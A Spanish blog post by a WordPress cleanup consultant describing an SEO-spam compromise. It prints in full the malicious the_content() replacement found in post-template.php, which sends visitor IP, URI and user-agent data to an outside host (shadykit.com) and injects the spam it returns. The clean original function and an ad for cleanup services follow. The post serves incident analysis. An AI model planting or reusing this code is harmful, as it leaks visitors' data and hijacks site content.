Ya sabéis que uno de los servicios que ofrezco como programador analista es la limpieza de servidores, aplicaciones web y gestores de contenidos como WordPress.
Últimamente los crackers (que no hackers de sombrero negro o blackhat hacker) se las están ingeniendo para hacer la vida imposible a los pobres usuarios de WordPress.
Entre los ataques más difíciles que he encontrado está el nuevo tipo de ataque que va directamente a destinado a los robots de buscadores, como puede ser el Google Bot Spider, por ejemplo.
Lo primero que hacen es buscar una vulnerabilidad potencial en usando ciertas cadenas que les permiten encontrar sitios desactualizados, donde lanzar el ataque, que es básicamente, modificar un fichero de vuestros plugins,temas o el propio núcleo de WordPress para hacer que vuestro sistema de forma transparente, coloque spam gestionado desde el exterior.
Este caso en concreto me resultó extremadamente difícil de encontrar porque se había sobreescrito el fichero de WordPress
./wp-includes/post-template.php
utilizando un agujero de seguridad en uno de los plugins del cliente, no recuerdo si era js_composer, rev_slider ó uno de esos frameworks que tienen fallos de seguridad en sus gigantescos boostrap llenos de ficheros javascript y php con vulnerabilidades.
En dicho post-template.php, el atacante reemplazaba la función the_content por esta otra:
function the_content( $more_link_text = null, $strip_teaser = false) { $content = get_the_content( $more_link_text, $strip_teaser ); $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); if (defined('WP_LOAD_FLAG')) { echo $content; return; } define('WP_LOAD_FLAG', true); $input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null; $input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null; $input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null; $input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null; $value = 'p=' . urlencode(base64_encode(serialize($input))); $request = "POST /api/link/ HTTP/1.1\r\n"; $request .= "Host: shadykit.com\r\n"; $request .= "Connection: close\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($value) . "\r\n"; $request .= "\r\n"; $request .= $value; $data = ''; $socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10); if ($socket) { $response = null; stream_set_timeout($socket, 10); fwrite($socket, $request); while (!feof($socket)) { $response .= fgets($socket, 1024); } fclose($socket); preg_match('/Content-Length: ([0-9]+)/', $response, $parts); if ($parts[1] != 0) { @$data = gzuncompress(substr($response, - $parts[1])); } } echo $data . $content; }
es bastante inteligente, abre el contenido de la url del blog de WP encriptada (para que al devolver el contenido se sobreescriban las cabeceras desencriptadas al devolver el resultado y no se sospeche, supongo) , e inyectar el contenido justo antes de la divisón del contenido que estemos imprimiendo con la función the_content, ya sea en un page.php, o cualquier otro tipo de plantilla de nuestro tema de WordPress. Para saber si mostrar o no el spam y qué mostrar, el cracker usa su propio código en el servidor, generando el texto más adecuado al ataque spam destinado a tu sitio en concreto, quizás le interesará más un dispositivo móvil o un buscador que un PC, usará palabras asociadas al idioma de la web origen y generará una historia que vincule su anillo de sitios webs atacados para generar mejor rating de sus propios enlaces. Una genialidad, del mal,claro jaja
Esta función lo que debería tener es lo siguiente:
function the_content( $more_link_text = null, $strip_teaser = false) { $content = get_the_content( $more_link_text, $strip_teaser ); $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); echo $content; }
aquí tenéis un enlace con las diferencias.
Si necesitas una limpieza en tu sitio web, contacta conmigo.